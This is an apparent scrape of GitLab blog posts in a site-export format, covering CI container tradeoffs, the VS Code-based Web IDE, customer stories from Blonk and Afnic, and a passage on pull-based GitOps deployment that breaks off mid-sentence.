distribution.\n\nTime and again, I've found myself degrading the implementation of my shell code in key ways that make it more complex, so that it can run under these stripped back shells. In these cases, I do not benefit from the complexity hiding of newer versions of advanced shells like Bash v5. One of the areas is advanced Bash shell expansions, which embody a huge world of complex parsing and avoid a bunch of extraneous utilities. And another is advanced if and case statement comparison logic that processes regular expressions without external utilities and performs many other abstracted comparisons. There are many other areas of the language where this comes into play, but these two stand out.\n\n![](https://about.gitlab.com/images/blogimages/second-law-of-complexity-dynamics-container-pipeline-tradeoffs.png)\n\nSo by having a simpler shell like busybox sh, the simplicities of advanced shell features become *unhidden* and join my side of the curtain. Now I have to manage them in my code. But then, guess what? No package manager means the inability to install other Linux utilities and languages extensions that I could also employ to push that same complexity back out of my space. And, of course, it means installing Bash v5 would be difficult as well.\n\nSo the simplicity proposition of a tightly optimized purpose-specific container can reverse the purported efficiency gains in the very important realm of the code I have to write. It also means I frequently have to break up my code into multiple jobs to utilize the specializations of these containers in a sequence or to transport the results of a specialized container into a fuller coding environment. This increases the complexity of the pipeline as I now have to pass artifacts and variable data from one job to another with a host of additional YAML directives, and sometimes deploy infrastructure (e.g., [Runner caching](https://docs.gitlab.com/ee/ci/caching/#:~:text=For%20runners%20to%20work%20with,GitLab.com%20behave%20this%20way)).\n\nIn the case of CI using containers, when the simplicity tradeoffs move complexity to things I do not maintain, such as base containers, operating system packages, and full shell environments, into things I do maintain, such as CI YAML and Shell Script code, then I am also inheriting long-term complexity maintenance. In the cloud, we know this as undifferentiated heavy lifting.\n\nInterestingly, the proliferation of specialized containers can also require more machine resources and can lengthen processing time as containers are retrieved from registries and loaded and artifacts and source code are copied in and out of each job-based container.\n\n### Simplicity target: Efficiency\n\nIt's easy to lose sight of the amount of human effort and ingenuity being applied to knowing and managing the coding structure, rather than being applied to solving the real automation problems of the CI pipeline. The net complexity of the pipeline can also mean it is hard to maintain an understanding of it even if you are working in it every day - and for newcomers onboarding, it can be many weeks before they fully understand how the system works.\n\nOf course, I can create my own containers for CI pipelines, but now I've added the complexity of container development and continuous updates of the same in order for my pipeline code to be operational and stay healthy. I am still behind the curtain for that container. For teams whose software is not itself containerized, the prospect of learning to build containers just for CI can create a lot of understandable friction to adopting a container-based CI development process. This friction may be unnecessary if we make a key heuristic adaptation.\n\n### Walking the tightwire above the curtain\n\nSo how do I manage the tensions of these multiple worlds of complexity when it comes to container-based pipelines to try to avoid efficiency reversals in the net complexity of the pipeline?\n\nIt is simple. I will describe the method and then the key misapplied heuristic and how to adjust it.\n\n1. I hold that the primary benefits of container-based CI are a) dependency isolation by job (so that you don’t have a massive and brittle CI build machine specification to handle all possible build requirements), and b) clean CI build agent state by obtaining a clean container copy for each job. These benefits do not imply having to abide by microservices container resource planning and doing so is what creates an antipattern in my productivity.\n\n2. I frequently use a Bash 5 container (version pegged if need be) where all the complexity that advanced shell capabilities embody for me stay behind the curtain.\n\n3. Instead of running a hyper-minimalized container for a given utility, I do a runtime install of that utility (gasp!) in a container that has my rich shell. I utilize version pegging during the install if I feel version safety is paramount on the utility. Alternatively, if a very desirable runtime of some type is difficult to setup and does not have a package, I look for a container that has a package manager that matches a packaged version of the runtime and also allows me to install my advanced scripting language if needed.\n\n4. If, and only if, the net time of the needed runtime installs exceeds the net pipeline time to load a string of specialized containers (with artifact handling) plus my time to develop and manage a pipeline dependency in the form of a custom container, then do I consider possibly creating a pipeline specific container.\n\n5. Through this process a balancing principle also emerges. Since I have been doing runtime installs as a development practice, I have actually already MVPed what a pipeline specific container would need to have installed. I can literally copy the installation lines into a Docker file if I wish. I can also notice if I have commonality across multiple pipelines where it makes sense to create a multi-pipeline utility container.\n\nIn a recent project, following these principles caused me to avoid the skopeo container and instead install it on the Bash 5 container using a package manager.\n\nIf your team is big into Python or PowerShell as your CI language, it would make sense to start with recent releases of those containers. The point is not advanced Bash -but an advanced version of your general CI scripting language that prevents you from creating work arounds in your code for problems that are well-solved in publicly available runtimes.\n\nKeep in mind that this adjustment is very, very focused on containers **in CI pipelines**, which, by nature, reflect general compute processing requirements where many vastly different operations are required in a pipeline. I am not advocating this approach for true microservices applications where, by design, a given service has very defined purpose and characteristics and, at scale, massively benefits from the machine efficiency of hyper-minimalized, purpose-specific granularity.\n\n### Misapplied heuristics\n\nFrequently when a pattern has an inflection point at which it becomes an antipattern, it is due to misapplying the heuristics of the wrong realm. In this case, I believe, that normal containerization patterns for microservices apps are well founded, but they apply narrowly to \"engineered hyper-specialized compute\" of a granule we call \"a microservice\" (note the word \"micro\" applies to the scope of compute activities). Importantly, they apply because the process itself is designed as hyper-specialized around a very specific task. The container contents (included dependencies), immutability principle (no runtime change), and the runtime compute resources can be managed exceedingly minimally because of the small and highly specific scope of computing activities that occur within the process.\n\nThis is essentially the embodiment of the 12 Factor App principle called “[VIII. Concurrency](https://12factor.net/concurrency),” which asserts that scaling should be horizontal scaling of the same minimalized process, not vertical scaling of compute resources inside a given process. If the system experiences 10x work for a particular activity, we create 10 processes, we do not request 10x memory and 10x CPU within one running process. Microservices architecture tightly controls the amount of work in each request so that it is hyper-predictable in its compute resource requirements and, therefore, scalable by adding identical processes.\n\nCI compute, by nature, is the opposite of hyper-specialized. Across build, test, package, deploy, etc., etc., there are many huge variations in required machine resources of memory, CPU, network I/O and high-speed disk access and, importantly, included dependencies. The generalized compute nature also occurs due to varying inputs so the same defined process might need a lot more resources due to the nature of the raw input data. For example, varying input volume (e.g. a lot versus few data items) or varying input density (e.g. processing binary files versus text files). \n\nIt is the process that is being containerized that holds the attribute of generalized compute (bursty on at least some compute resources) or hyper-specialized (narrow definition of work to be done and therefore well-known compute resources per unit of completed work). Containerizing a process that exhibits generalized compute requirements is useful, but planning the resources of that container as if containerizing it has transformed the compute requirements into hyper-minimalized is the inflection point at which it becomes an antipattern, actually eroding the sought-after benefits we set out to create.\n\nIn the model I employ for leveraging containers in CI, the loosening of the hyper-specialization, immutablility (no-runtime installs), and very narrow compute resources principles of microservices simply reflects the real world in that CI compute as a whole exhibits the nature of generalized, not hyper-specialized, compute characteristics.\n\n> Another realm where this seems true is desired state configuration management technologies - also known as “Configuration as Code”. It is super simple if there are pre-existing components or recipes for all that you need to do but as soon as you have to build some for yourself, you enter a world of creating imperative code against a declarative API boundary (there's the \"embodiment\" curtain - the declarative API boundary). Generally, if you have not had to implement imperative code to process declaratively, this new world takes some significant experience to become proficient.\n\n### Iterating SA: Experimental improvements for your next project\n\n1. In general, favor simplicity boundaries that reduce your work, especially in the realm of undifferentiated heavy lifting. In the realm of container-based CI, this includes having a rich coding language and a package manager to acquire additional complexity embodying utilities quickly and easily.\n\n2. In general, be suspicious of an underlying antipattern if you have to spend an inordinate amount of time coding and maintaining workarounds in the service of simplicity. In the realm of container-based CI, this would be containers that are ultra-minimalized around microservices performance characteristics when they don’t hyper-scale as a standing service within CI.\n\n3. In general, stand back and examine the net complexity of the code and frameworks that will have to be maintained by yourself or your team and check if you’ve made tradeoffs that have a net negative tax on your efficiency. When complexity that can be managed by machines enters your workspace at high frequency, then you have a massive antipattern of human efficiency.\n\n4. It is frequent that when the hueristics being applied create negative human efficiency they also create negative machine efficiency. Watch for this effect in your projects. The diagram in the post shows that over-minimalized containers can easily lead to using a lot more of them - all of which has machine overhead as well.\n\nIf the above resonates, CI pipeline engineers might want to consider loosening the \"microservices\" heuristics of hyper-specialization, ultra-minimalization,  and immutability (no dynamic installs) for CI pipeline containers in order to ensure that the true net complexity level of the code they have to maintain is in balance and their productivity is preserved.\n\n### Appendix: Working examples of this idea\n\n- [AWS CLI Tools in Containers](https://gitlab.com/guided-explorations/aws/aws-cli-tools) has both Bash and PowerShell Core (on Linux OS) available so that one container set can suit the automation shell preference of both Linux and Windows heritage CI automation engineers.\n\n- CI file [installs yq dynamically](https://gitlab.com/guided-explorations/gl-k8s-agent/gitops/envs/world-greetings-env-1/-/blob/main/.gitlab-ci.yml#L47-48) in the Bash container, but then [only installs the heavier jq and skopeo](https://gitlab.com/guided-explorations/gl-k8s-agent/gitops/envs/world-greetings-env-1/-/blob/main/.gitlab-ci.yml#L63) if needed by the work implied, which demonstrates a way to be more efficient even when runtime installs are desired.\n\n- [Bash and PowerShell Script Code Libraries in Pure GitLab CI YAML](https://gitlab.com/guided-explorations/ci-cd-plugin-extensions/script-code-libraries-in-pure-gitlab-ci-yaml) shows how to have libraries of CI script code available to every container in a pipeline without encapsulating the libraries in a container themselves and with minimalized CI YAML complexity compared to YAML anchors, references, or extends. While the method is a little bit challenging to setup, from then on out it pays back by decoupling scripting libraries from any other pipeline artifact.\n\n- [CI/CD Extension Freemarker File Templating](https://gitlab.com/guided-explorations/ci-cd-plugin-extensions/ci-cd-plugin-extension-freemarker-file-templating) shows the install is very quick and only affects one job and still version pegs the installed utility.\n",[1384,1385,696,1207,2488],{"slug":13971,"featured":6,"template":678},"second-law-of-complexity-dynamics","content:en-us:blog:second-law-of-complexity-dynamics.yml","Second Law Of Complexity Dynamics","en-us/blog/second-law-of-complexity-dynamics.yml","en-us/blog/second-law-of-complexity-dynamics",{"_path":13977,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13978,"content":13984,"config":13989,"_id":13991,"_type":16,"title":13992,"_source":17,"_file":13993,"_stem":13994,"_extension":20},"/en-us/blog/the-future-of-the-gitlab-web-ide",{"title":13979,"description":13980,"ogTitle":13979,"ogDescription":13980,"noIndex":6,"ogImage":13981,"ogUrl":13982,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13982,"schema":13983},"The Future of the GitLab Web IDE","There are big changes in store for the Web IDE in the coming milestones.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679284/Blog/Hero%20Images/johannes-plenio-2TQwrtZnl08-unsplash.jpg","https://about.gitlab.com/blog/the-future-of-the-gitlab-web-ide","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Future of the GitLab Web IDE\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Schurter\"}],\n        \"datePublished\": \"2022-05-23\",\n      }",{"title":13979,"description":13980,"authors":13985,"heroImage":13981,"date":13986,"body":13987,"category":736,"tags":13988},[10130],"2022-05-23","\nWay back in April 2018, [GitLab 10.7 introduced the Web IDE](/blog/introducing-gitlab-s-integrated-development-environment/) to the world and brought a delightful multi-file editor to the heart of the GitLab experience. Our goal was to make it easier for anyone and everyone to contribute, regardless of their development experience. Since its introduction, tens of millions of commits have been made from the Web IDE, and we've added features like [Live Preview](https://docs.gitlab.com/ee/user/project/web_ide/#live-preview) and [Interactive Web Terminals](https://docs.gitlab.com/ee/user/project/web_ide/index.html#interactive-web-terminals-for-the-web-ide) to enhance the experience. Now, we're excited to share some big changes we have in store for the Web IDE in coming milestones.\n\n## What makes an IDE?\n\nOver the years, we've learned a lot about how you all are using the Web IDE. We've [compared it to our Web Editor](https://about.gitlab.com/blog/a-tale-of-two-editors/) in the repository view. We've spoken to developers, designers, product managers, and technical writers alike. Almost universally, we hear that the Web IDE is great for small changes: a quick change to a config file, an update to a Markdown file, or a typo fix in a merge request. These lightweight changes make up the vast majority of the Web IDE usage. And for those use cases, it's super convenient and intuitive.\n\n![Editing a file in the current Web IDE](https://about.gitlab.com/images/blogimages/web-ide-diff-view.png)\n\nBut to grow, and to really earn the moniker “IDE,” what are we missing? What keeps developers from making more complex changes in the Web IDE? What can we do to elevate the experience? We hear about missing features and functionality like a [collapsible file panel](https://gitlab.com/groups/gitlab-org/-/epics/2585) that supports [contextual actions](https://gitlab.com/gitlab-org/gitlab/-/issues/197775) and drag and drop or [tighter integration with merge requests](https://gitlab.com/groups/gitlab-org/-/epics/2687). We've learned that there's no single feature that's a deal-breaker for most developers; it's the sum total of a lot of little user experience gaps.\n\nThe Web IDE is built on top of the fantastic open source project, [Monaco](https://microsoft.github.io/monaco-editor/). What made Monaco a great choice as the foundation of the Web IDE is also what makes it more difficult to address all these concerns holistically. Monaco is just that: a foundation. We have to implement all these workflows and features ourselves. Meanwhile, another open source project has been laser-focused on delivering a lovable IDE on top of Monaco.\n\n## Enter VS Code\n\nYou may have heard of [Visual Studio Code](https://code.visualstudio.com/), or VS Code. With its [dominant market share](https://insights.stackoverflow.com/survey/2021#section-most-popular-technologies-integrated-development-environment), chances are pretty good that you are even using it as your primary code editor. As it happens, [VS Code](https://github.com/microsoft/vscode) core is also open sourced under the MIT license. While the core project isn't a perfect drop-in replacement for the Web IDE, our Staff Frontend Engineer, [Paul Slaughter](/company/team/#pslaughter), wanted to see if we could run it inside GitLab.\n\nTurns out, we can:\n\u003Chttps://www.youtube.com/embed/_9G45TNR7VA>\n\nIn this video Paul Slaughter, Staff FE Engineer, walks Eric Schurter, Senior Product Manager, through the VS Code Web IDE proof of concept. See parts [two](https://www.youtube.com/watch?v=oyEFNOC1_Bo&list=PL05JrBw4t0KrRQhnSYRNh1s1mEUypx67-&index=9), [three](https://www.youtube.com/watch?v=1mTkNxrFXec&list=PL05JrBw4t0KrRQhnSYRNh1s1mEUypx67-&index=8), and [four](https://www.youtube.com/watch?v=qEiXtiInFIA&list=PL05JrBw4t0KrRQhnSYRNh1s1mEUypx67-&index=7) for closer looks at extensions, performance, and customization.\n\nAs you can see in the videos above, Paul was able to build a proof of concept that brings the VS Code editing experience into the GitLab UI, running entirely in the browser. No additional infrastructure needed.\n\nNext, we asked ourselves the question: Do we want to continue to invest in implementing custom features for the Web IDE that ultimately deliver the same value as those already available in VS Code? Or do we embrace VS Code inside GitLab, and invest in extending the experience to more tightly integrate with GitLab and the DevOps workflow?\n\n## Meet the new Web IDE\n\nAs you've probably already guessed, we've decided to [replace the current Web IDE with one built on top of VS Code](https://gitlab.com/groups/gitlab-org/-/epics/7683). In the coming milestones, we will build out custom support for the features not already available in the VS Code core, and validate that the workflows you already depend on in the Web IDE are handled in the new experience. We're working with the team that builds our amazing [GitLab Workflow extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) for VS Code to make it available in the browser so we can bundle it in the Web IDE, and bring all those great features along for the ride. That includes [bringing merge request comments into the Web IDE](/blog/mr-reviews-with-vs-code/) for the first time ever!\n\n## Speaking of extensions\n\nYou read that right: extensions. One of the most compelling aspects of VS Code is the massive community and library of extensions available to customize your experience and integrate with other tools. A subset of [these extensions](https://open-vsx.org/) are already compatible with a web-based instance of VS Code, and our goal is to make them available in the Web IDE so you and your teams can work as efficiently and consistently as possible. Bringing extensions into the GitLab experience is not something we're taking lightly, so we'll be evaluating the best approach for ensuring the security and privacy of your data.\n\n## With great power comes great responsibility\n\nThis transition doesn't come without tradeoffs. We know that many of you appreciate the Web IDE for its simplicity, and it's safe to say that the increase in functionality VS Code brings to the table does come with an increase in complexity. The original Web IDE was introduced as a way to ensure that everyone can contribute. In keeping with that spirit, we will invest in improvements to our [core editing component](https://gitlab.com/groups/gitlab-org/-/epics/4861) that powers the [Web Editor](https://docs.gitlab.com/ee/user/project/repository/web_editor.html), Snippets, Pipeline Editor, and code editing elsewhere in GitLab. This core component will be extended to support multi-file editing. Our hope is that it actually serves those workflows that require simple edits even better than the Web IDE ever did.\n\n## I'm ready, when can I have it?\n\nWe're all excited to start using the new Web IDE as soon as possible. We're actively working on the integration and you can expect to see it sometime in the 15.x release cycle. If you would like to provide early feedback and help us fine tune the experience, please fill out this [short survey](https://forms.gle/S1vU5vkaEjE1NPMv9) to be considered for early access.\n\n## But wait, what about the runtime stuff?\n\nRemember at the beginning of this post when I asked what makes an IDE? The critical piece of the puzzle that VS Code is still missing is a runtime environment to compile your code. Without this environment, you can't generate real-time previews, run tests, or take advantage of code completion. We're looking to tackle this problem with the newly-formed [Remote Development category](/direction/create/ide/remote_development/), but that's a topic for a whole other blog post.\n\nUntil then, happy editing!\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n\nCover image by [Johannes Plenio](https://unsplash.com/@jplenio?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[754,736,2249,676],{"slug":13990,"featured":6,"template":678},"the-future-of-the-gitlab-web-ide","content:en-us:blog:the-future-of-the-gitlab-web-ide.yml","The Future Of The Gitlab Web Ide","en-us/blog/the-future-of-the-gitlab-web-ide.yml","en-us/blog/the-future-of-the-gitlab-web-ide",{"_path":13996,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13997,"content":14003,"config":14009,"_id":14011,"_type":16,"title":14012,"_source":17,"_file":14013,"_stem":14014,"_extension":20},"/en-us/blog/gitlab-provides-small-business-with-a-professional-mature-devops-platform",{"title":13998,"description":13999,"ogTitle":13998,"ogDescription":13999,"noIndex":6,"ogImage":14000,"ogUrl":14001,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14001,"schema":14002},"GitLab provides small business with a professional, mature DevOps platform","Blonk had a small team but a big need for professional software development. Here's how GitLab helped.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668272/Blog/Hero%20Images/blonklogo.png","https://about.gitlab.com/blog/gitlab-provides-small-business-with-a-professional-mature-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab provides small business with a professional, mature DevOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Esther Shein\"}],\n        \"datePublished\": \"2022-05-19\",\n      }",{"title":13998,"description":13999,"authors":14004,"heroImage":14000,"date":14006,"body":14007,"category":962,"tags":14008},[14005],"Esther Shein","2022-05-19","\nBlonk is an international leader in the field of environmental and sustainability research in the agri-food sector. But as a small business without a QA team or a security team, the challenge was figuring out how to deliver professional software with only a few developers.\n\n[Blonk](https://blonksustainability.nl) used an external company to help set up what Bart Durlinger, product development manager, and software devevloper Pieter van de Vijver envisioned as its platform at the time. “They set up an environment on Amazon, a separate built server, a separate repository, and then some scripts in between to link it all together,” Durlinger recalls. “But when we decided to take more control, that was just too complex. We had too many different parts in many different places. We didn't have the capacity at the time to really oversee how this should all work together.”\n\nThat's when the Blonk team started looking for platforms that offered a more integrated approach, with project management, CI/CD, repository, and version control features all in one place.\n\n## Mature, with a modern vision of software development\n\nBlonk turned to GitLab after finding that the platform “had a lot of the things you need to have a professional delivery pipeline integrated into one solution,\" says Durlinger. At the time, the consultancy was using GitHub, which was more expensive, he says.\n\nWhen Blonk started with GitLab, the platform was free, which was a big factor in its selection, van de Vijver says. “But it was also an up-and-coming startup with a vision of that CI/CD integration built into how you envisioned the whole service itself,\" he says. “GitHub was more of a repository that might provide you with those things, but it required more manual setup.”\n \nBlonk liked that GitLab was a mature and stable solution “but still new enough to have a vision of how software is approached nowadays with easy setup and an integrated pipeline by default, and useful branching strategies by which you could support a multi-level, multi-stage deployment process easily,\" Van de Vijver says.\n\nAt the time Van de Vijver was the only one at Blonk with a background as a software developer, and another bonus was his familiarity with all the tools in GitLab. “By using GitLab, we could hit the ground running, and keep the scale small. You don't have to worry about all kinds of CI/CD operations and integrations and the configuration of that but use it just out of the box,” he says.\n\n## How Blonk is utilizing GitLab today\n\nCurrently, Blonk has 38 GitLab premium licenses, about half of which are used by software developers. The rest are used by data scientists, consultants, project managers, and others, so there are different ways the platform is utilized within the company; that also means there are different levels of software literacy but that hasn’t been an issue. The software development team has been onboarding very junior developers over the past couple of months, and “never have I had questions of how to do stuff in GitLab, because the platform is very intuitive,” Durlinger says.\n\nThe software development team has been integrated further into the core business, which also fits nicely with GitLab’s services, including the milestones Blonk uses as well as its repositories and project management strategies. “Also data scientists and methodology developers are now using GitLab projects for the project planning sometimes,” Durlinger notes.\n\nGitLab provided Blonk with a professional software environment for their developers. GitLab also lets the team use pre-built Docker images and a private Python package repository in their CI/CD pipelines, which means faster build times and easy integration, according to Durlinger. “That's a huge change because then we can distribute the work over multiple teams that can work independently on projects,” he says.\n\nThe platform’s automation features have also improved operational efficiency. “We don't need to communicate with external parties, or do any manual steps if we make code changes. We now are in control of managing our software and infrastructure deployment via CDK and gitlab-ci scripts, which makes it fully automated,” Durlinger explains.\n\nIn the project planning stage, Blonk is using GitLab issue templates to define issues, “and that also has really improved the quality of how we define issues to start with,\" Durlinger adds. Blonk has reaped huge benefits from the Agile capabilities of GitLab to plan, manage and monitor their workflows.  \n\nBlonk now has improved transparency and collaboration amongst their teams, and they are using the GitLab Wiki to build an internal knowledge base to optimize productivity and accelerate new developer onboarding.\n\nGitLab has supported the scaling of the developer team from 2 to now 16 developers, going from a single team to 3 software teams and a data science team, all using the One DevOps Platform bringing a much needed single DevOps workflow. Blonk is using the package registry, Docker integration with GitLab, and each team now deploys microservices on AWS. Teams are facilitated via GitLab with enhanced communication and a robust feedback loop.  \n\nProbably the biggest selling point of the platform is that it offers an integrated environment of all solutions related to code management and deployment – from container services to package registry services – everything Blonk wants to use in a pipeline and be able to manage privately, according to Durlinger. The fact that Blonk no longer has to use multiple tools in an ad hoc manner is another benefit. \n\n“What’s really nice is that our non-code artifacts live together with the code,\" Durlinger notes. “Our designs, methodology documents, and prototypes developed by data scientists can all be part of our Gitlab projects. This has improved workflow throughout the organization,” he says.\n\n## Looking ahead\n\n“As Blonk continues its business transformation, GitLab is helping the company maintain its reputation as a reliable and honest company,” Durlinger says. GitLab has added value to their employer brand and makes them more attractive to new developers to join: “It demonstrates that we have a professional environment for software engineers.”\n\nBlonk’s goal is to improve sustainability performance analysis, and ensure that the tools they are building have the same integrity and quality. “GitLab enables us to do this by having a professional project creation pipeline in place,\" Durlinger says.\n",[4103,2705,110],{"slug":14010,"featured":6,"template":678},"gitlab-provides-small-business-with-a-professional-mature-devops-platform","content:en-us:blog:gitlab-provides-small-business-with-a-professional-mature-devops-platform.yml","Gitlab Provides Small Business With A Professional Mature Devops Platform","en-us/blog/gitlab-provides-small-business-with-a-professional-mature-devops-platform.yml","en-us/blog/gitlab-provides-small-business-with-a-professional-mature-devops-platform",{"_path":14016,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14017,"content":14023,"config":14028,"_id":14030,"_type":16,"title":14031,"_source":17,"_file":14032,"_stem":14033,"_extension":20},"/en-us/blog/manager-of-frances-fr-domain-selects-gitlab",{"title":14018,"description":14019,"ogTitle":14018,"ogDescription":14019,"noIndex":6,"ogImage":14020,"ogUrl":14021,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14021,"schema":14022},"France's .fr domain manager selects GitLab for security","Afnic looks to The One DevOps Platform to modernize its software development with automation, security and compliance, and support for multi-cloud environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667869/Blog/Hero%20Images/afniclogo.png","https://about.gitlab.com/blog/manager-of-frances-fr-domain-selects-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Manager of France's .fr domain selects GitLab for its DevSecOps capabilities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-05-19\",\n      }",{"title":14024,"description":14019,"authors":14025,"heroImage":14020,"date":14006,"body":14026,"category":962,"tags":14027},"Manager of France's .fr domain selects GitLab for its DevSecOps capabilities",[711],"Association Française pour le Nommage Internet en Coopération ([Afnic](https://www.afnic.fr/en/)) is a longstanding nonprofit in France that manages .fr domain names. Chosen 20 years ago by the French State to operate the .fr country code top-level domain, Afnic’s motto is “reliability first.” Afnic uses GitLab, The One DevOps Platform, to help sustain that motto through modernization of its software development environment.\n\nAfnic’s mission as the French National Top Level Domain Registry is to bring together public authorities, Internet users, and domain name professionals to build a secure and stable Internet, open to innovation and in which the French Internet community plays a leading role. Outages of such a digital service could prevent the provisioning of other services that rely on it and could thus have an impact on key economic and societal activities.\n\nAfnic started using GitLab about four years ago to build and secure the brand-new version of its Shared Registry System (SRS). The SRS is a platform that manages the domain names from the subscription of a domain name to the publication in the DNS database and all the updates during its life, including contacts, server names, and DNSSEC keys, according to Richard Coffre, Afnic’s principal product manager.\n\nSince the project began, all the technologies have changed. Previously, Afnic’s team was mainly using Java and Perl and now they use [Kubernetes](/solutions/kubernetes/), Angular, the latest version of Java, and Docker, among others. Security is paramount, and the team is using private clouds. That means Afnic has its own data centers in France and in colocation facilities all over the world.\n\n## Modernizing software development with automation and integration\n\nAfnic selected GitLab to automate and integrate processes during the deployment process. Previously, the majority of things were done manually and now Afnic’s team wants to follow [DevSecOps philosophy and governance](/topics/devsecops/). They wanted one DevOps platform with state-of-the-art [CI/CD](/topics/ci-cd/) capabilities, the ability to quickly onboard new developers, and features to improve compliance and monitoring functionality.\n\nNow, Gitlab is one of the core components of Afnic’s systems.\n\nThe company’s use of GitLab expanded as they deployed new versions of Java and Docker and other technologies. “We wanted to take a big step to align our technology with the state of the market,” Coffre says, and after surveying the development team, the choice was GitLab.\n\nThe team is integrating GitLab with Jira, which is providing a lot of value, he adds.\n\nNow, in addition to developers, Afnic’s database administrators and network administrators use GitLab. The team is using Docker for images and Ansible. Jira is used for ticketing issues and is linked to GitLab and Confluence as a wiki to create the documentation.\n\n## What GitLab brings to the table\n\nThe goal for Afnic is to increase automation and to have everything in the same place and for anyone to be able to get at the proper version anytime. “That's the strength of GitLab,\" Coffre says. “That's also why we chose it because it's one of the leaders. Like many modern source code management systems, GitLab allows our developers to concurrently create source code. But it does it easily, giving us the possibility to do it safely, remembering our motto.\"\n\nPreviously Afnic used only open source tools that they had to customize, which Coffre says was not efficient on a daily basis. To manage source code properly, the team syncs it to GitLab. The strong focus on community contributions “is a guarantee that its features match the developers’ needs, especially regarding CI/CD,” he adds. \n\nWhen new developers join Afnic, it is very easy to onboard them to GitLab, he says. Another benefit is the cost savings because developers don’t lose source code. There is a time-saving metric, too, because if there is an issue in GitLab, it just requires someone to patch it. \n\nNow developers can focus on higher-value strategic tasks like security and vulnerability compliance, and not manual tests and delays, etc. That frees up developers to focus on their job managing DNS databases because the GitLab platform manages the software development lifecycle end-to-end. Coffre says, “GitLab will provide the foundational platform for all Afnic’s software products moving forward. We have experienced great benefits so far and we are excited to expand our use of this platform into the future”.",[4103,674,1384,1385],{"slug":14029,"featured":6,"template":678},"manager-of-frances-fr-domain-selects-gitlab","content:en-us:blog:manager-of-frances-fr-domain-selects-gitlab.yml","Manager Of Frances Fr Domain Selects Gitlab","en-us/blog/manager-of-frances-fr-domain-selects-gitlab.yml","en-us/blog/manager-of-frances-fr-domain-selects-gitlab",{"_path":14035,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14036,"content":14042,"config":14047,"_id":14049,"_type":16,"title":14050,"_source":17,"_file":14051,"_stem":14052,"_extension":20},"/en-us/blog/pull-based-kubernetes-deployments-coming-to-gitlab-free-tier",{"title":14037,"description":14038,"ogTitle":14037,"ogDescription":14038,"noIndex":6,"ogImage":14039,"ogUrl":14040,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14040,"schema":14041},"Pull-based GitOps moving to GitLab Free tier","Learn how this change provides organizations increased flexibility, security, scalability, and automation in cloud-native environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670178/Blog/Hero%20Images/GitLab-Ops.png","https://about.gitlab.com/blog/pull-based-kubernetes-deployments-coming-to-gitlab-free-tier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pull-based GitOps moving to GitLab Free tier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"},{\"@type\":\"Person\",\"name\":\"Lauren Minning\"}],\n        \"datePublished\": \"2022-05-18\",\n      }",{"title":14037,"description":14038,"authors":14043,"heroImage":14039,"date":14044,"body":14045,"category":736,"tags":14046},[3281,12854],"2022-05-18","\n\nGitLab will include support for pull-based deployment in the platform’s Free tier in an upcoming release, which will provide users increased flexibility, security, scalability, and automation in cloud-native environments. With pull-based deployment, DevOps teams can use the [GitLab agent for Kubernetes](/blog/introducing-the-gitlab-kubernetes-agent/) to automatically identify and enact application changes. \n\n“DevOps teams at all levels benefit from utilizing GitOps strategies such as pull-based deployment in their cloud-native environments. By offering this feature in GitLab’s Free tier, we can introduce more organizations to the power and utility of this secure and scalable functionality,” says [Viktor Nagy](https://gitlab.com/nagyv-gitlab), product manager of GitLab’s Configure Group.\n\nAs an open-core company, GitLab is happy to contribute to the GitOps community and enable the adoption of best practices in the industry.\n\n## What is pull-based deployment?\n\nPull-based and push-based deployment are [two main approaches to GitOps](/topics/gitops/), an operational framework that takes DevOps best practices used for application development such as version control, collaboration, compliance, and [CI/CD](/topics/ci-cd/) tooling, and applies them to infrastructure automation. \n\nGitOps enables operations teams to [move as quickly as their application development counterparts](/blog/gitops-done-3-ways/) by making use of automation and scalability, without sacrificing security. \n\nWhile push-based, or agentless, deployment relies on a CI/CD tool to push changes to the infrastructure environment, pull-based deployment uses an agent installed in a cluster to pull changes whenever there is a deviation from the desired configuration. In the pull-based approach, deployment targets are limited to Kubernetes and an agent must be installed in each Kubernetes cluster.\n\n“As long as the GitLab agent for Kubernetes on your infrastructure has the necessary access rights in your cluster, you can configure everything automatically, reducing the DevOps workload and the opportunity to introduce errors,” Nagy says.\n\n## Pull-based deployment vs. push-based deployment\n\nPush-based deployment and pull-based deployment each have their pros and cons. Here is a list of the advantages and disadvantages of each GitOps practice:\n\nPush-based deployment pros:\n- ease of use\n- well-known as part of CI/CD\n- more flexible, as deployment targets can be on physical servers or virtual containers, not restricted to Kubernetes clusters \n\nPush-based deployment cons:\n- requires organizations to open their firewall to a cluster and grant admin access to external CI/CD\n- requires organizations to adjust their CI/CD pipelines when they introduce new environments\n\nPull-based deployment pros:\n- secure infrastructure - no need to open your firewall or grant admin access externally\n- changes can be automatically detected and applied without human 